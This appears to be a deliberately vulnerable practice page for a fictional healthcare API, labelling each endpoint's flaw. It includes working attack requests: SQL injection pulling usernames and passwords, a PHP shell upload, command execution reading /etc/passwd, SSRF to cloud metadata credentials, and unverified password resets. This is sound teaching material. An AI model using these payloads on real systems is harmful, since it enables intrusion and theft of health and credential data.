API Documentation

RESTful API for HealthCare Plus Platform

Authentication

All API requests require an API key. Include it in the header:

X-API-Key: hcp_live_sk_a3b8c9d1e2f4g5h6i7j8k9l0m1n2o3p4
⚠️ Security Issues:
  • API key exposed in documentation
  • No rate limiting
  • Basic authentication only
  • No HTTPS enforcement
  • CORS: * (allows all origins)

Base URL

https://api.healthcareplus.com/v1

Alternative (No HTTPS):

http://internal-api.healthcareplus.local:8080/v1

Patients API

GET /patients

Retrieve all patients (IDOR vulnerability - no authorization)

curl -X GET "https://api.healthcareplus.com/v1/patients" \
  -H "X-API-Key: hcp_live_sk_a3b8c9d1e2f4g5h6i7j8k9l0m1n2o3p4"

Response:

{
  "patients": [
    {
      "id": 1001,
      "name": "John Doe",
      "ssn": "345-67-8901",
      "dob": "1979-03-15",
      "address": "123 Main St",
      "phone": "555-0101",
      "diagnosis": "Hypertension",
      "medications": ["Lisinopril 10mg"],
      "insurance": "BlueCross PPO",
      "balance": 1250.00
    }
  ]
}

GET /patients/{id}

Get patient by ID (No access control - IDOR vulnerability)

curl -X GET "https://api.healthcareplus.com/v1/patients/1001" \
  -H "X-API-Key: hcp_live_sk_a3b8c9d1e2f4g5h6i7j8k9l0m1n2o3p4"

⚠️ Vulnerability: Anyone can access any patient by incrementing ID

POST /patients

Create new patient (Mass assignment vulnerability)

curl -X POST "https://api.healthcareplus.com/v1/patients" \
  -H "Content-Type: application/json" \
  -H "X-API-Key: hcp_live_sk_a3b8c9d1e2f4g5h6i7j8k9l0m1n2o3p4" \
  -d '{
    "name": "Jane Doe",
    "role": "admin",
    "isVerified": true,
    "creditLimit": 999999
  }'

⚠️ Vulnerability: No input validation - can set admin role and arbitrary fields

Doctors API

GET /doctors?search={query}

Search doctors (SQL Injection vulnerability)

# Normal request:
curl "https://api.healthcareplus.com/v1/doctors?search=Smith"

# SQL Injection:
curl "https://api.healthcareplus.com/v1/doctors?search=' OR '1'='1"
curl "https://api.healthcareplus.com/v1/doctors?search=' UNION SELECT username,password FROM users--"

Users API

POST /users/login

User login (Credentials in GET parameters)

# Vulnerable login:
GET https://api.healthcareplus.com/v1/users/login?username=admin&password=admin123

# Credentials logged in server logs and browser history!

POST /users/reset-password

Password reset (No verification)

curl -X POST "https://api.healthcareplus.com/v1/users/reset-password" \
  -H "Content-Type: application/json" \
  -d '{
    "userId": 1,
    "newPassword": "hacked123"
  }'

⚠️ Vulnerability: Can reset any user's password without verification

File Upload API

POST /upload

Upload file (Unrestricted file upload vulnerability)

curl -X POST "https://api.healthcareplus.com/v1/upload" \
  -H "X-API-Key: hcp_live_sk_a3b8c9d1e2f4g5h6i7j8k9l0m1n2o3p4" \
  -F "file=@shell.php" \
  -F "patientId=1001"

# Uploaded to: /uploads/1001/shell.php
# Accessible at: https://api.healthcareplus.com/uploads/1001/shell.php

⚠️ Vulnerabilities:

  • No file type validation
  • No size limit
  • Files executed by server (.php, .jsp, .asp)
  • Path traversal possible

Admin API

DELETE /admin/users/{id}

Delete user (No authorization check)

curl -X DELETE "https://api.healthcareplus.com/v1/admin/users/1" \
  -H "X-API-Key: hcp_live_sk_a3b8c9d1e2f4g5h6i7j8k9l0m1n2o3p4"

⚠️ Vulnerability: Missing function level access control - any user can delete admin

POST /admin/execute

Execute system command (RCE vulnerability)

curl -X POST "https://api.healthcareplus.com/v1/admin/execute" \
  -H "Content-Type: application/json" \
  -H "X-API-Key: hcp_live_sk_a3b8c9d1e2f4g5h6i7j8k9l0m1n2o3p4" \
  -d '{
    "command": "cat /etc/passwd"
  }'

⚠️ Vulnerability: Remote Code Execution - can run any system command

Webhooks (SSRF)

POST /webhooks/trigger

Trigger webhook (SSRF vulnerability)

curl -X POST "https://api.healthcareplus.com/v1/webhooks/trigger" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }'

⚠️ Vulnerability: Server-Side Request Forgery - can access internal resources

Error Responses

Errors expose sensitive information:

{
  "error": "Database connection failed",
  "details": "SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES)",
  "query": "SELECT * FROM patients WHERE id = 1001",
  "database": "healthcare_plus_db",
  "host": "db.healthcareplus.internal:3306",
  "trace": [
    "/var/www/healthcareplus/api/patients.php:42",
    "/var/www/healthcareplus/includes/database.php:128"
  ]
}

Interactive API Tester